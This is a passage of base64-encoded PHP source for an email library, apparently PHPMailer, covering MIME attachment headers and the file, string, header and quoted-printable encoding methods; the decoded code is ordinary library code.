tZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIG11bHRpLWJ5dGUgdGV4dCB0byB3cmFwIGVuY29kZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBoYXNNdWx0aUJ5dGVzKCRzdHIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAgICAgcmV0dXJuIChzdHJsZW4oJHN0cikgPiBtYl9zdHJsZW4oJHN0ciwgJHRoaXMtPkNoYXJTZXQpKTsKICAgICAgICB9IGVsc2UgeyAvLyBBc3N1bWUgbm8gbXVsdGlieXRlcyAod2UgY2FuJ3QgaGFuZGxlIHdpdGhvdXQgbWJzdHJpbmcgZnVuY3Rpb25zIGFueXdheSkKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIERvZXMgYSBzdHJpbmcgY29udGFpbiBhbnkgOC1iaXQgY2hhcnMgKGluIGFueSBjaGFyc2V0KT8KICAgICAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFzOGJpdENoYXJzKCR0ZXh0KQogICAgewogICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvW1x4ODAtXHhGRl0vJywgJHRleHQpOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGFuZCB3cmFwIGxvbmcgbXVsdGlieXRlIHN0cmluZ3MgZm9yIG1haWwgaGVhZGVycwogICAgICogd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIuCiAgICAgKiBBZGFwdGVkIGZyb20gYSBmdW5jdGlvbiBieSBwYXJhdm9pZAogICAgICogQGxpbmsgaHR0cDovL3d3dy5waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi5tYi1lbmNvZGUtbWltZWhlYWRlci5waHAjNjAyODMKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIgbXVsdGktYnl0ZSB0ZXh0IHRvIHdyYXAgZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsaW5lYnJlYWsgc3RyaW5nIHRvIHVzZSBhcyBsaW5lZmVlZC9lbmQtb2YtbGluZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAkbGluZWJyZWFrID0gbnVsbCkKICAgIHsKICAgICAgICAkc3RhcnQgPSAnPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAnP0I\/JzsKICAgICAgICAkZW5kID0gJz89JzsKICAgICAgICAkZW5jb2RlZCA9ICcnOwogICAgICAgIGlmICgkbGluZWJyZWFrID09PSBudWxsKSB7CiAgICAgICAgICAgICRsaW5lYnJlYWsgPSAkdGhpcy0+TEU7CiAgICAgICAgfQoKICAgICAgICAkbWJfbGVuZ3RoID0gbWJfc3RybGVuKCRzdHIsICR0aGlzLT5DaGFyU2V0KTsKICAgICAgICAvLyBFYWNoIGxpbmUgbXVzdCBoYXZlIGxlbmd0aCA8PSA3NSwgaW5jbHVkaW5nICRzdGFydCBhbmQgJGVuZAogICAgICAgICRsZW5ndGggPSA3NSAtIHN0cmxlbigkc3RhcnQpIC0gc3RybGVuKCRlbmQpOwogICAgICAgIC8vIEF2ZXJhZ2UgbXVsdGktYnl0ZSByYXRpbwogICAgICAgICRyYXRpbyA9ICRtYl9sZW5ndGggLyBzdHJsZW4oJHN0cik7CiAgICAgICAgLy8gQmFzZTY0IGhhcyBhIDQ6MyByYXRpbwogICAgICAgICRhdmdMZW5ndGggPSBmbG9vcigkbGVuZ3RoICogJHJhdGlvICogLjc1KTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJG1iX2xlbmd0aDsgJGkgKz0gJG9mZnNldCkgewogICAgICAgICAgICAkbG9va0JhY2sgPSAwOwogICAgICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICAkb2Zmc2V0ID0gJGF2Z0xlbmd0aCAtICRsb29rQmFjazsKICAgICAgICAgICAgICAgICRjaHVuayA9IG1iX3N1YnN0cigkc3RyLCAkaSwgJG9mZnNldCwgJHRoaXMtPkNoYXJTZXQpOwogICAgICAgICAgICAgICAgJGNodW5rID0gYmFzZTY0X2VuY29kZSgkY2h1bmspOwogICAgICAgICAgICAgICAgJGxvb2tCYWNrKys7CiAgICAgICAgICAgIH0gd2hpbGUgKHN0cmxlbigkY2h1bmspID4gJGxlbmd0aCk7CiAgICAgICAgICAgICRlbmNvZGVkIC49ICRjaHVuayAuICRsaW5lYnJlYWs7CiAgICAgICAgfQoKICAgICAgICAvLyBDaG9tcCB0aGUgbGFzdCBsaW5lZmVlZAogICAgICAgICRlbmNvZGVkID0gc3Vic3RyKCRlbmNvZGVkLCAwLCAtc3RybGVuKCRsaW5lYnJlYWspKTsKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcXVvdGVkLXByaW50YWJsZSBmb3JtYXQuCiAgICAgKiBBY2NvcmRpbmcgdG8gUkZDMjA0NSBzZWN0aW9uIDYuNy4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbGluZV9tYXggTnVtYmVyIG9mIGNoYXJzIGFsbG93ZWQgb24gYSBsaW5lIGJlZm9yZSB3cmFwcGluZwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucXVvdGVkLXByaW50YWJsZS1kZWNvZGUucGhwIzg5NDE3IEFkYXB0ZWQgZnJvbSB0aGlzIGNvbW1lbnQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQKCRzdHJpbmcsICRsaW5lX21heCA9IDc2KQogICAgewogICAgICAgIC8vIFVzZSBuYXRpdmUgZnVuY3Rpb24gaWYgaXQncyBhdmFpbGFibGUgKD49IFBIUDUuMykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdxdW90ZWRfcHJpbnRhYmxlX2VuY29kZScpKSB7CiAgICAgICAgICAgIHJldHVybiBxdW90ZWRfcHJpbnRhYmxlX2VuY29kZSgkc3RyaW5nKTsKICAgICAgICB9CiAgICAgICAgLy8gRmFsbCBiYWNrIHRvIGEgcHVyZSBQSFAgaW1wbGVtZW50YXRpb24KICAgICAgICAkc3RyaW5nID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgIGFycmF5KCclMjAnLCAnJTBEJTBBLicsICclMEQlMEEnLCAnJScpLAogICAgICAgICAgICBhcnJheSgnICcsICJcclxuPTJFIiwgIlxyXG4iLCAnPScpLAogICAgICAgICAgICByYXd1cmxlbmNvZGUoJHN0cmluZykKICAgICAgICApOwogICAgICAgIHJldHVybiBwcmVnX3JlcGxhY2UoJy9bXlxyXG5deycgLiAoJGxpbmVfbWF4IC0gMykgLiAnfVtePVxyXG5dezJ9LycsICIkMD1cclxuIiwgJHN0cmluZyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBCYWNrd2FyZCBjb21wYXRpYmlsaXR5IHdyYXBwZXIgZm9yIGFuIG9sZCBRUCBlbmNvZGluZyBmdW5jdGlvbiB0aGF0IHdhcyByZW1vdmVkLgogICAgICogQHNlZSBQSFBNYWlsZXI6OmVuY29kZVFQKCkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsaW5lX21heAogICAgICogQHBhcmFtIGJvb2xlYW4gJHNwYWNlX2NvbnYKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKiBAZGVwcmVjYXRlZCBVc2UgZW5jb2RlUVAgaW5zdGVhZC4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVFQcGhwKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGxpbmVfbWF4ID0gNzYsCiAgICAgICAgLyoqIEBub2luc3BlY3Rpb24gUGhwVW51c2VkUGFyYW1ldGVySW5zcGVjdGlvbiAqLyAkc3